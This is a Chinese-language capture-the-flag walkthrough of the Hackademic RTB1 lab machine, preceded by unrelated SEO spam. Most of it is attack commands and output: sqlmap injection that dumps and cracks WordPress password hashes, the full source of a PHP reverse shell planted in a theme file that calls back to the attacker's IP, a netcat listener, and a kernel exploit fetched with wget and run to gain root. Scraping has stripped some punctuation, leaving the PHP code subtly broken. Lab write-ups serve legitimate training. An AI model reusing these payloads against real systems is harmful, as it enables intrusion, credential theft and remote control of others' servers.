惠新西街网站建设,专门做推荐的网站,wordpress cd,电子商务网站建设服务文章目录 1.C段扫描2.端口扫描3.服务扫描4.web分析5.sql注入6.目录扫描7.写马php反弹shell木马 8.反弹shell9.内核提权 1.C段扫描
kali:192.168.9.27 靶机#xff1a;192.168.9.25
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0,… 文章目录 1.C段扫描2.端口扫描3.服务扫描4.web分析5.sql注入6.目录扫描7.写马php反弹shell木马 8.反弹shell9.内核提权 1.C段扫描
kali:192.168.9.27 靶机192.168.9.25
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.9.27
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2 d4:8f:a2:9f:51:49 Huawei Device Co., Ltd.
192.168.9.12 7c:b5:66:a5:f0:a5 Intel Corporate
192.168.9.25 00:0c:29:8b:bf:a6 VMware, Inc.
192.168.9.31 b2:2b:61:34:28:9f (Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.036 seconds (125.74 hosts/sec). 4 responded2.端口扫描
┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.9.0/24 --min-rate 10000Nmap scan report for 192.168.9.25
Host is up (0.11s latency).
Not shown: 990 filtered tcp ports (no-response), 8 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
MAC Address: 00:0C:29:8B:BF:A6 (VMware)
3.服务扫描
4.web分析
点击hackademic 源码发现类似SQL注入
5.sql注入
发现SQL注入漏洞正常注入过程就不显示了┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.9.25/Hackademic_RTB1/?cat1 --batch --level 5 --risk 3_____H_____ ___[,]_____ ___ ___ {1.6.11#stable}
|_ -| . [] | .| . |
|___|_ [,]_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end users responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting 03:28:45 /2024-02-29/[03:28:45] [INFO] resuming back-end DBMS mysql
[03:28:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)Type: error-basedTitle: MySQL 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: cat1 AND (SELECT 1759 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(17591759,1))),0x71767a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL 5.0.12 AND time-based blind (query SLEEP)Payload: cat1 AND (SELECT 6594 FROM (SELECT(SLEEP(5)))QlfM)
---
[03:28:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[03:28:45] [INFO] fetched data logged to text files under /root/.local/share/sqlmap/output/192.168.9.25
[03:28:45] [WARNING] your sqlmap version is outdated[*] ending 03:28:45 /2024-02-29/┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.9.25/Hackademic_RTB1/?cat1 --batch --level 5 --risk 3 -D wordpress -T wp_users -C user_login,user_pass --dump_____H__ ___ ___[(]_____ ___ ___ {1.6.11#stable}
|_ -| . [(] | .| . |
|___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end users responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting 03:29:45 /2024-02-29/[03:29:45] [INFO] resuming back-end DBMS mysql
[03:29:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)Type: error-basedTitle: MySQL 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: cat1 AND (SELECT 1759 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(17591759,1))),0x71767a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL 5.0.12 AND time-based blind (query SLEEP)Payload: cat1 AND (SELECT 6594 FROM (SELECT(SLEEP(5)))QlfM)
---
[03:29:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: Apache 2.2.15, PHP 5.3.3
back-end DBMS: MySQL 5.0
[03:29:45] [INFO] fetching entries of column(s) user_login,user_pass for table wp_users in database wordpress
[03:29:45] [INFO] resumed: NickJames
[03:29:45] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
[03:29:45] [INFO] resumed: MaxBucky
[03:29:45] [INFO] resumed: 50484c19f1afdaf3841a0d821ed393d2
[03:29:45] [INFO] resumed: GeorgeMiller
[03:29:45] [INFO] resumed: 7cbb3252ba6b7e9c422fac5334d22054
[03:29:45] [INFO] resumed: JasonKonnors
[03:29:45] [INFO] resumed: 8601f6e1028a8e8a966f6c33fcd9aec4
[03:29:45] [INFO] resumed: TonyBlack
[03:29:45] [INFO] resumed: a6e514f9486b83cb53d8d932f9a04292
[03:29:45] [INFO] resumed: JohnSmith
[03:29:45] [INFO] resumed: b986448f0bb9e5e124ca91d3d650f52c
[03:29:45] [INFO] recognized possible password hashes in column user_pass
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[03:29:45] [INFO] using hash method md5_generic_passwd
[03:29:45] [INFO] resuming password admin for hash 21232f297a57a5a743894a0e4a801fc3 for user NickJames
[03:29:45] [INFO] resuming password kernel for hash 50484c19f1afdaf3841a0d821ed393d2 for user MaxBucky
[03:29:45] [INFO] resuming password q1w2e3 for hash 7cbb3252ba6b7e9c422fac5334d22054 for user GeorgeMiller
[03:29:45] [INFO] resuming password maxwell for hash 8601f6e1028a8e8a966f6c33fcd9aec4 for user JasonKonnors
[03:29:45] [INFO] resuming password napoleon for hash a6e514f9486b83cb53d8d932f9a04292 for user TonyBlack
what dictionary do you want to use?
[1] default dictionary file /usr/share/sqlmap/data/txt/wordlist.tx_ (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files1
[03:29:45] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[03:29:45] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[03:29:45] [INFO] starting 4 processes
Database: wordpress
Table: wp_users
[6 entries]
-----------------------------------------------------------
| user_login | user_pass |
-----------------------------------------------------------
| NickJames | 21232f297a57a5a743894a0e4a801fc3 (admin) |
| MaxBucky | 50484c19f1afdaf3841a0d821ed393d2 (kernel) |
| GeorgeMiller | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3) |
| JasonKonnors | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell) |
| TonyBlack | a6e514f9486b83cb53d8d932f9a04292 (napoleon) |
| JohnSmith | b986448f0bb9e5e124ca91d3d650f52c |
-----------------------------------------------------------[03:29:59] [INFO] table wordpress.wp_users dumped to CSV file /root/.local/share/sqlmap/output/192.168.9.25/dump/wordpress/wp_users.csv
[03:29:59] [INFO] fetched data logged to text files under /root/.local/share/sqlmap/output/192.168.9.25
[03:29:59] [WARNING] your sqlmap version is outdated[*] ending 03:29:59 /2024-02-29/
注入后得到账号密码
-----------------------------------------------------------
| user_login | user_pass |
-----------------------------------------------------------
| NickJames | 21232f297a57a5a743894a0e4a801fc3 (admin) |
| MaxBucky | 50484c19f1afdaf3841a0d821ed393d2 (kernel) |
| GeorgeMiller | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3) |
| JasonKonnors | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell) |
| TonyBlack | a6e514f9486b83cb53d8d932f9a04292 (napoleon) |
| JohnSmith | b986448f0bb9e5e124ca91d3d650f52c |
-----------------------------------------------------------6.目录扫描
得到账号密码后没有发现登陆网址就扫目录,通过扫目录我们得到网站是wordpress框架找到登录页面/Hackademic_RTB1/wp-admin/登陆
使用GeorgeMiller /q1w2e3登陆其他用户登陆的话不能写木马┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.9.25/Hackademic_RTB1/ -x 403,404,500_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.9.25/_Hackademic_RTB1__24-02-29_03-33-30.txtTarget: http://192.168.9.25/[03:33:30] Starting: Hackademic_RTB1/
[03:34:19] 200 - 15KB - /Hackademic_RTB1/license.txt
[03:34:34] 200 - 9KB - /Hackademic_RTB1/readme.html
[03:34:52] 301 - 331B - /Hackademic_RTB1/wp-admin - http://192.168.9.25/Hackademic_RTB1/wp-admin/
[03:34:52] 302 - 0B - /Hackademic_RTB1/wp-admin/ - /Hackademic_RTB1/wp-login.php?redirect_to%2FHackademic_RTB1%2Fwp-admin%2F
[03:34:52] 200 - 184B - /Hackademic_RTB1/wp-admin/setup-config.php
[03:34:52] 200 - 0B - /Hackademic_RTB1/wp-config.php
[03:34:52] 200 - 1KB - /Hackademic_RTB1/wp-admin/install.php
[03:34:53] 200 - 92B - /Hackademic_RTB1/wp-content/plugins/hello.php
[03:34:53] 301 - 333B - /Hackademic_RTB1/wp-content - http://192.168.9.25/Hackademic_RTB1/wp-content/
[03:34:53] 200 - 1KB - /Hackademic_RTB1/wp-content/
[03:34:53] 200 - 0B - /Hackademic_RTB1/wp-includes/rss-functions.php
[03:34:53] 200 - 1KB - /Hackademic_RTB1/wp-login.php
[03:34:53] 200 - 2KB - /Hackademic_RTB1/wp.php
[03:34:53] 301 - 334B - /Hackademic_RTB1/wp-includes - http://192.168.9.25/Hackademic_RTB1/wp-includes/
[03:34:53] 200 - 1KB - /Hackademic_RTB1/wp-register.php
[03:34:54] 200 - 6KB - /Hackademic_RTB1/wp-includes/
[03:34:54] 200 - 42B - /Hackademic_RTB1/xmlrpc.php Task Completed7.写马 为什么要写这里
因为通过上面的目录扫描得到http://192.168.9.25//Hackademic_RTB1/wp-content/这是一个目录娃们可以正常的访问修改404.php文件
php反弹shell木马
?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkeypentestmonkey.netset_time_limit (0);
$VERSION 1.0;
$ip 192.168.9.27;
$port 6666;
$chunk_size 1400;
$write_a null;
$error_a null;
$shell uname -a; w; id; /bin/bash -i;
$daemon 0;
$debug 0;if (function_exists(pcntl_fork)) {$pid pcntl_fork();if ($pid -1) {printit(ERROR: Cant fork);exit(1);}if ($pid) {exit(0); // Parent exits}if (posix_setsid() -1) {printit(Error: Cant setsid());exit(1);}$daemon 1;
} else {printit(WARNING: Failed to daemonise. This is quite common and not fatal.);
}chdir(/);umask(0);// Open reverse connection
$sock fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit($errstr ($errno));exit(1);
}$descriptorspec array(0 array(pipe, r), // stdin is a pipe that the child will read from1 array(pipe, w), // stdout is a pipe that the child will write to2 array(pipe, w) // stderr is a pipe that the child will write to
);$process proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit(ERROR: Cant spawn shell);exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit(Successfully opened reverse shell to $ip:$port);while (1) {if (feof($sock)) {printit(ERROR: Shell connection terminated);break;}if (feof($pipes[1])) {printit(ERROR: Shell process terminated);break;}$read_a array($sock, $pipes[1], $pipes[2]);$num_changed_sockets stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit(SOCK READ);$input fread($sock, $chunk_size);if ($debug) printit(SOCK: $input);fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit(STDOUT READ);$input fread($pipes[1], $chunk_size);if ($debug) printit(STDOUT: $input);fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit(STDERR READ);$input fread($pipes[2], $chunk_size);if ($debug) printit(STDERR: $input);fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print $string\n;}
}?8.反弹shell
kali:开启监听
nc -lvnp 6666访问192.168.9.25//Hackademic_RTB1/wp-content/themes/starburst/404.php9.内核提权
sudo命令不能使用看到Linux版本过低采用内核提权的方式┌──(root㉿kali)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.9.27] from (UNKNOWN) [192.168.9.25] 48140
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux03:54:32 up 2:59, 0 users, load average: 0.07, 0.02, 0.00
USER TTY FROM LOGIN IDLE JCPU PCPU WHAT
uid48(apache) gid489(apache) groups489(apache)
bash: no job control in this shell
bash-4.0$ sudo -l
sudo -l
sudo: sorry, you must have a tty to run sudobash-4.0$ uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linuxsearchsploit linux kernel 2.6.3 | grep Escalation 靶机下载15285.c
kali:
searchsploit -m 15285.c
python3 -m http.server 8888靶机
wget http://192.168.9.27:8888/15285.c
gcc 15285.c -o shell 编译c文件
chmod x shell 加执行权限
./shell 运行bash-4.0$ ./shell
./shell
[*] Linux kernel 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...[] Resolved security_ops to 0xc0aa19ac[] Resolved default_security_ops to 0xc0955c6c[] Resolved cap_ptrace_traceme to 0xc055d9d7[] Resolved commit_creds to 0xc044e5f1[] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Linux kernel 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...[] Resolved security_ops to 0xc0aa19ac[] Resolved default_security_ops to 0xc0955c6c[] Resolved cap_ptrace_traceme to 0xc055d9d7[] Resolved commit_creds to 0xc044e5f1[] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...[] Resolved security_ops to 0xc0aa19ac[] Resolved default_security_ops to 0xc0955c6c[] Resolved cap_ptrace_traceme to 0xc055d9d7[] Resolved commit_creds to 0xc044e5f1[] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
id
uid0(root) gid0(root)
cd /root
ls
Desktop
anaconda-ks.cfg
key.txt
key.txt~
